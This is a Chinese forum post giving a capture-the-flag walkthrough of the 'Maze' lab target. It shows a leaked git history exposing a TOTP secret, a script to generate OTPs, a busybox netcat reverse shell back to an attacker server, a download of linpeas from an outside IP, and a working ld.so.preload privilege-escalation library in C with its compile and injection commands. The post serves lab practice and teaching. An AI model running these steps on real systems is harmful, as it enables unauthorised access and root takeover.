找回密码
 立即注册
首页 业界区 安全 【渗透测试】玄机&Maze 全过程wp

【渗透测试】玄机&Maze 全过程wp

于映雪 4 小时前
玄机&Maze

1.png

也就是说开了80端口和22端口
2.png

可以看到存在git泄露
使用git log -p命令审查提交历史。
3.png
  1. 3XKWRL4MDQ5YYPZSYBPDGFLHFA
复制代码
大概率是密钥,符合Base32编码格式
且从登录页面让我们填一个Google OTP
我们写一个脚本让他生成一个OTP
  1. import pyotp
  2. key = "3XKWRL4MDQ5YYPZSYBPDGFLHFA"
  3. totp = pyotp.TOTP(key)
  4. print("当前 OTP:", totp.now())  # 每30秒变一次
复制代码
成功登录,得到shell
我们反弹shell到我们服务器上去
  1. 在服务器上
  2. nc -lvnp 7777
  3. 在靶机上
  4. busybox nc xx.xx.xx.xx 7777 -e /bin/sh
复制代码
同时我们开TTY
  1. python3 -c 'import pty; pty.spawn("/bin/bash")'
复制代码
4.png

提权
先上传一下linpeas.sh
  1. kali
  2. python3 -m http.server 6666
  3. 靶机
  4. busybox wget http://115.120.236.65:6666/linpeas.sh
  5. chmod +x linpeas.sh
  6. ./linpeas.sh
复制代码
5.png

用户对/etc/ld.so.preload文件拥有写入权限。该文件用于指定在任何程序运行前需要预加载的动态链接库。这是一个经典的、高成功率的linux提权向量
利用ld.so.preload提权
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. void __attribute__((constructor)) init() {
  6.     unlink("/etc/ld.so.preload");
  7.    
  8.     setgid(0);
  9.     setuid(0);
  10.    
  11.     execl("/bin/bash", "bash", "--norc", "--noprofile", NULL);
  12.    
  13.     execl("/bin/sh", "sh", NULL);
  14. }
复制代码
在/tmp目录下创建一个名为exp.c的C语言文件,其功能是在库被加载时,将当前进程的权限提升为root,并启动一个bash shell
  1. 使用gcc将C代码编译成一个共享库文件exp.so
  2. gcc -fPIC -shared -O -o exp.so exp.c -nostartfiles
复制代码
将我们恶意共享库的路径写入/etc/ld.so.preload中
  1. echo "/tmp/exp.so" > /etc/ld.so.preload
复制代码
然后我们执行任何一个以root权限运行的SUID程序(如sudo)来出发预加载
  1. sudo -l
复制代码
6.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册